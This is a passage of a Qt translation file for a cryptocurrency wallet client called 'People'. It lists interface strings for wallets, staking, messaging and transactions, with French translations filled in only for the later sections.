<location line="+1"/>
<source>Show QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>New Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>TRANSACTIONS</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>ADDRESSBOOK</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Delete</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start Private Conversation</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Name:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Public Key:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start Conversation</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Choose identity</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Identity:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start Group Conversation</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Group name:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Create Group</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Invite others</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Search</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Invite others to group</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Invite to Group</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Invite</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>GROUP</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>BOOK</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start private conversation</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start group conversation</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>CHAT</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Leave Group</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>CHAIN DATA</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Coin Value</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Owned (Mature)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>System (Mature)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Spends</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Least Depth</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>BLOCK EXPLORER</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Refresh</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Hash</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Height</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Timestamp</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Value Out</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>OPTIONS</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Main</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Network</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Display</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>I2P</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Tor</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start People on system login</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Detach databases at shutdown</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Pay transaction fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Optional transaction fee per kB that helps make sure your transactions are processed quickly.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Most transactions are 1kB. Fee 0.01 recommended.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enable Staking</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Reserve:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Reserved amount does not participate in staking and is therefore spendable at any time.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Minimum Stake Interval</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Minimum Ring size:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Maximum Ring size:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Automatically select ring size</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enable Secure messaging</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Thin Mode (Requires Restart)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Thin Full Index</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Thin Index Window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Map port using UPnP</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Connect through SOCKS proxy:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Details</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Proxy IP:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Port:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>SOCKS Version:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Minimize to the tray instead of the taskbar</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Minimize on close</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>User Interface language:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Unit to show amounts in:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Rows per page:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Display addresses in transaction list</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Notifications:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Visible Transaction Types:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>I2P (coming soon)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>TOR (coming soon)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Cancel</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Apply</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Ok</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Lets create a New Wallet and Account to get you started!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet Name</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Password</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Add an optional Password to secure the Recovery Phrase (shown on next page)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Would you like to create a Multi-Account HD Key? (BIP44)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Language</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>English</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>French</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Japanese</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Spanish</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Chinese (Simplified)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Chinese (Traditional)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Next Step</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Write your Wallet Recovery Phrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Important!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>You need the Wallet Recovery Phrase to restore this wallet. Write it down and keep them somewhere safe.
You will be asked to confirm the Wallet Recovery Phrase in the next screen to ensure you have written it down correctly</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Back</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Please confirm your Wallet Recovery Phrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Congratulations! You have successfully created a New Wallet and Account</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>You can now use your Account to send and receive funds :)
Remember to keep your Wallet Recovery Phrase and Password (if set) safe in case you ever need to recover your wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Lets import your Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>The Wallet Recovery Phrase could require a password to be imported</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Is this a Multi-Account HD Key (BIP44)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Recovery Phrase (Usually 24 words)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Congratulations! You have successfully imported your Wallet from your Recovery Phrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>You can now use your Account to send and receive funds :)
Remember to keep your Wallet Recovery Phrase and Password safe in case you ever need to recover your wallet again!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Accounts</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Name</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Created</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Active Account</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Default</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet Keys</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Path</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Active</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Master</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>PeopleGUI</name>
<message>
<location filename="../people.cpp" line="+111"/>
<source>A fatal error occurred. People can no longer continue safely and will quit.</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../peoplegui.cpp" line="+89"/>
<location line="+178"/>
<source>Hpeople</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-178"/>
<source>Client</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+90"/>
<source>E&xit</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Quit application</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&About People</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show information about People</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>About &Qt</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show information about Qt</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>&Options...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Modify configuration options for People</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>&Show / Hide</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>&Encrypt Wallet...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Encrypt or decrypt wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>&Backup Wallet...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Backup wallet to another location</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>&Change Passphrase...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Change the passphrase used for wallet encryption</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>&Unlock Wallet...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Unlock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>&Lock Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Lock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>&Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Open debugging and diagnostic console</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+26"/>
<source>&File</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>&Settings</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>&Help</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<location line="+9"/>
<source>[testnet]</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<location line="+74"/>
<source>Hpeople client</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+63"/>
<source>%n active connection(s) to People network</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+18"/>
<source>block</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>header</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>blocks</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>headers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<location line="+22"/>
<source>Synchronizing with network...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-20"/>
<source>Downloading filtered blocks...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>~%1 filtered block(s) remaining (%2% done).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>Importing blocks...</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+5"/>
<source>~%n block(s) remaining</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+13"/>
<location line="+4"/>
<source>Imported</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-4"/>
<location line="+4"/>
<source>Downloaded</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-3"/>
<source>%1 of %2 %3 of transaction history (%4% done).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>%1 blocks of transaction history.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+23"/>
<source>%n second(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n minute(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n hour(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+3"/>
<source>%n day(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+7"/>
<source>Up to date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Catching up...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Last received %1 was generated %2.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Confirm transaction fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Sent transaction</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Incoming transaction</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Date: %1
Amount: %2
Type: %3
Address: %4
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<location line="+15"/>
<source>Incoming Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Date: %1
From Address: %2
To Address: %3
Message: %4
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+45"/>
<location line="+23"/>
<source>URI handling</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-23"/>
<location line="+23"/>
<source>URI can not be parsed! This can be caused by an invalid People address or malformed URI parameters.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+42"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b> for staking and messaging only.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b> for messaging only.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b> for staking only.</source>
<translation type="unfinished"/>
</message>
<message>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b> for staking only</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Wallet is <b>encrypted</b> and currently <b>locked</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="+33"/>
<source>Backup Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Wallet Data (*.dat)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Backup Failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>There was an error trying to save the wallet data to the new location.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+48"/>
<source>Lock Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Error: Wallet must first be encrypted to be locked.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+69"/>
<source>%n second(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+1"/>
<source>%n minute(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+1"/>
<source>%n hour(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+1"/>
<source>%n day(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+9"/>
<source>Staking.
Your weight is %1
Network weight is %2
Expected time to earn reward is %3</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Not staking because wallet is in thin mode</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Not staking, staking is disabled</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Not staking because wallet is locked</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Not staking because wallet is offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Not staking because wallet is syncing</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Not staking because you don't have mature coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Not staking</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../transactionrecord.cpp" line="+23"/>
<source>Received with</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Received from</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Sent to</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Payment to yourself</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Mined</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Received people</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Sent people</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Other</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TrafficGraphWidget</name>
<message>
<location filename="../trafficgraphwidget.cpp" line="+79"/>
<source>KB/s</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionDesc</name>
<message>
<location filename="../transactiondesc.cpp" line="+20"/>
<source>Open until %1</source>
<translation>Ouvert jusqu'à %1</translation>
</message>
<message numerus="yes">
<location line="-2"/>
<source>Open for %n block(s)</source>
<translation><numerusform>Ouvert pour %n bloc</numerusform><numerusform>Ouvert pour %n blocks</numerusform></translation>
</message>
<message>
<location line="+7"/>
<source>conflicted</source>
<translation>en conflit</translation>
</message>
<message>
<location line="+2"/>
<source>%1/offline</source>
<translation>%1/hors ligne</translation>
</message>
<message>
<location line="+2"/>
<source>%1/unconfirmed</source>
<translation>%1/non confirmée</translation>
</message>
<message>
<location line="+2"/>
<source>%1 confirmations</source>
<translation>%1 confirmations</translation>
</message>
<message>
<location line="+18"/>
<source>Status</source>
<translation>État</translation>
</message>
<message numerus="yes">
<location line="+7"/>
<source>, broadcast through %n node(s)</source>
<translation><numerusform>, diffusée à travers %n nœud</numerusform><numerusform>, diffusée à travers %n nœuds</numerusform></translation>
</message>
<message>
<location line="+5"/>
<source>Date</source>
<translation>Date</translation>
</message>
<message>
<location line="+7"/>
<source>Source</source>
<translation>Source</translation>
</message>
<message>
<location line="+0"/>
<source>Generated</source>
<translation>Généré</translation>
</message>
<message>
<location line="+5"/>
<location line="+17"/>
<location line="+20"/>
<source>From</source>
<translation>De</translation>
</message>
<message>
<location line="-19"/>
<location line="+20"/>
<location line="+23"/>
<location line="+57"/>
<source>To</source>
<translation>À</translation>
</message>
<message>
<location line="-96"/>
<location line="+2"/>
<location line="+18"/>
<location line="+2"/>
<source>own address</source>
<translation>votre propre adresse</translation>
</message>
<message>
<location line="-22"/>
<location line="+20"/>
<source>label</source>
<translation>étiquette</translation>
</message>
<message>
<location line="+37"/>
<location line="+12"/>
<location line="+44"/>
<location line="+20"/>
<location line="+40"/>
<source>Credit</source>
<translation>Crédit</translation>
</message>
<message numerus="yes">
<location line="-114"/>
<source>matures in %n more block(s)</source>
<translation><numerusform>arrive à maturité dans %n bloc de plus</numerusform><numerusform>arrive à maturité dans %n blocks supplémentaires</numerusform></translation>
</message>
<message>
<location line="+2"/>
<source>not accepted</source>
<translation>refusé</translation>
</message>
<message>
<location line="+43"/>
<location line="+8"/>
<location line="+16"/>
<location line="+42"/>
<source>Debit</source>
<translation>Débit</translation>
</message>
<message>
<location line="-52"/>
<source>Transaction fee</source>
<translation>Frais de transaction</translation>
</message>
<message>
<location line="+19"/>
<source>Net amount</source>
<translation>Montant net</translation>
</message>
<message>
<location line="+6"/>
<source>Message</source>
<translation>Message</translation>
</message>
<message>
<location line="+2"/>
<source>Comment</source>
<translation>Commentaire</translation>
</message>
<message>
<location line="+12"/>
<source>Transaction ID</source>
<translation>ID de la transaction</translation>
</message>
<message>
<location line="+3"/>
<source>Generated coins must mature 120 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to "not accepted" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Debug information</source>
<translation>Informations de débogage</translation>
</message>
<message>
<location line="+8"/>
<source>Transaction</source>
<translation>Transaction</translation>
</message>
<message>
<location line="+5"/>
<source>Inputs</source>
<translation>Entrants</translation>
</message>
<message>
<location line="+44"/>
<source>Amount</source>
<translation>Montant</translation>
</message>
<message>
<location line="+1"/>
<source>true</source>
<translation>vrai</translation>
</message>
<message>
<location line="+0"/>
<source>false</source>
<translation>faux</translation>
</message>
<message>
<location line="-266"/>
<source>, has not been successfully broadcast yet</source>
<translation>, n’a pas encore été diffusée avec succès</translation>
</message>
<message>
<location line="+36"/>
<location line="+20"/>
<source>unknown</source>
<translation>inconnu</translation>
</message>
</context>
<context>
<name>TransactionDescDialog</name>
<message>
<location filename="../forms/transactiondescdialog.ui" line="+14"/>
<source>Transaction details</source>
<translation>Détails de la transaction</translation>
</message>
<message>
<location line="+6"/>
<source>This pane shows a detailed description of the transaction</source>
<translation>Ce panneau affiche une description détaillée de la transaction</translation>
</message>
</context>
<context>
<name>TransactionTableModel</name>
<message>
<location filename="../transactiontablemodel.cpp" line="+217"/>
<source>Date</source>
<translation>Date</translation>
</message>
<message>
<location line="+0"/>
<source>Type</source>
<translation>Type</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+0"/>
<source>Amount</source>
<translation>Montant</translation>
</message>
<message>
<location line="+54"/>
<source>Open until %1</source>
<translation>Ouvert jusqu'à %1</translation>
</message>
<message>
<location line="+12"/>
<source>Confirmed (%1 confirmations)</source>
<translation>Confirmée (%1 confirmations)</translation>
</message>
<message numerus="yes">
<location line="-15"/>
<source>Open for %n more block(s)</source>
<translation><numerusform>Ouvert pour %n bloc de plus</numerusform><numerusform>Ouvert pour %n blocs de plus</numerusform></translation>
</message>
<message>
<location line="-51"/>
<source>Narration</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+57"/>
<source>Offline</source>
<translation>Hors ligne</translation>
</message>
<message>
<location line="+3"/>
<source>Unconfirmed</source>
<translation>Non confirmé</translation>
</message>
<message>
<location line="+3"/>
<source>Confirming (%1 of %2 recommended confirmations)</source>
<translation>Confirmation (%1 sur %2 confirmations recommandées)</translation>
</message>
<message>
<location line="+6"/>
<source>Conflicted</source>
<translation>En conflit</translation>
</message>
<message>
<location line="+3"/>
<source>Immature (%1 confirmations, will be available after %2)</source>
<translation>Immature (%1 confirmations, sera disponible après %2)</translation>
</message>
<message>
<location line="+3"/>
<source>This block was not received by any other nodes and will probably not be accepted!</source>
<translation>Ce bloc n’a été reçu par aucun autre nœud et ne sera probablement pas accepté !</translation>
</message>
<message>
<location line="+3"/>
<source>Generated but not accepted</source>
<translation>Généré mais pas accepté</translation>
</message>
<message>
<location line="+49"/>
<source>(n/a)</source>
<translation>(n.d)</translation>
</message>
<message>
<location line="+202"/>
<source>Transaction status. Hover over this field to show number of confirmations.</source>
<translation>État de la transaction. Laissez le pointeur de la souris sur ce champ pour voir le nombre de confirmations.</translation>
</message>
<message>
<location line="+2"/>
<source>Date and time that the transaction was received.</source>
<translation>Date et heure de réception de la transaction.</translation>
</message>
<message>
<location line="+2"/>
<source>Type of transaction.</source>
<translation>Type de transaction.</translation>
</message>
<message>
<location line="+2"/>
<source>Destination address of transaction.</source>
<translation>L’adresse de destination de la transaction.</translation>
</message>
<message>
<location line="+2"/>
<source>Amount removed from or added to balance.</source>
<translation>Montant ajouté ou enlevé au solde.</translation>
</message>
</context>
<context>
<name>WalletModel</name>
<message>
<location filename="../walletmodel.cpp" line="+393"/>
<location line="+246"/>
<source>Sending...</source>
<translation>Envoi...</translation>
</message>
</context>
<context>
<name>bitcoin-core</name>
<message>
<location filename="../bitcoinstrings.cpp" line="+33"/>
<source>People version</source>
<translation>Version People</translation>
</message>
<message>
<location line="+1"/>
<source>Usage:</source>
<translation>Utilisation :</translation>
</message>
<message>
<location line="+1"/>
<source>Send command to -server or peopled</source>
<translation>Envoyer commande à -server ou peopled</translation>
</message>
<message>
<location line="+1"/>
<source>List commands</source>
<translation>Lister les commandes</translation>
</message>
<message>
<location line="+1"/>
<source>Get help for a command</source>
<translation>Obtenir de l’aide pour une commande</translation>
</message>
<message>
<location line="+2"/>
<source>Options:</source>
<translation>Options :</translation>
</message>
<message>
<location line="+2"/>
<source>Specify configuration file (default: people.conf)</source>
<translation>Spécifier le fichier de configuration (defaut: people.conf)</translation>
</message>
<message>
<location line="+1"/>
<source>Specify pid file (default: peopled.pid)</source>
<translation>Spécifier le fichier pid (defaut: peopled.pid)
</translation>
</message>
<message>
<location line="+2"/>
<source>Specify wallet file (within data directory)</source>
<translation>Spécifiez le fichier de portefeuille (dans le répertoire de données)</translation>
</message>
<message>
<location line="-1"/>
<source>Specify data directory</source>
<translation>Spécifier le répertoire de données</translation>
</message>
<message>
<location line="+2"/>
<source>Set database cache size in megabytes (default: 25)</source>
<translation>Définir la taille du tampon en mégaoctets (par défaut : 25)</translation>
</message>
<message>
<location line="+1"/>
<source>Set database disk log size in megabytes (default: 100)</source>
<translation>Définir la taille du tampon en mégaoctets (par défaut : 100)</translation>
</message>
<message>
<location line="+6"/>
<source>Listen for connections on <port> (default: 51737 or testnet: 51997)</source>
<translation>Écouter les connexions sur le <port> (default: 51737 or testnet: 51997)</translation>
</message>
<message>
<location line="+1"/>
<source>Maintain at most <n> connections to peers (default: 125)</source>
<translation>Garder au plus <n> connexions avec les pairs (par défaut : 125)</translation>
</message>
<message>
<location line="+3"/>
<source>Connect to a node to retrieve peer addresses, and disconnect</source>
<translation>Se connecter à un nœud pour obtenir des adresses de pairs puis se déconnecter</translation>
</message>
<message>
<location line="+1"/>
<source>Specify your own public address</source>
<translation>Spécifier votre propre adresse publique</translation>
</message>
<message>
<location line="+5"/>
<source>Bind to given address. Use [host]:port notation for IPv6</source>
<translation>Connexion à l'adresse fournie. Utiliser la notation [machine]:port pour les adresses IPv6</translation>
</message>
<message>
<location line="+2"/>
<source>Stake your coins to support network and gain reward (default: 1)</source>
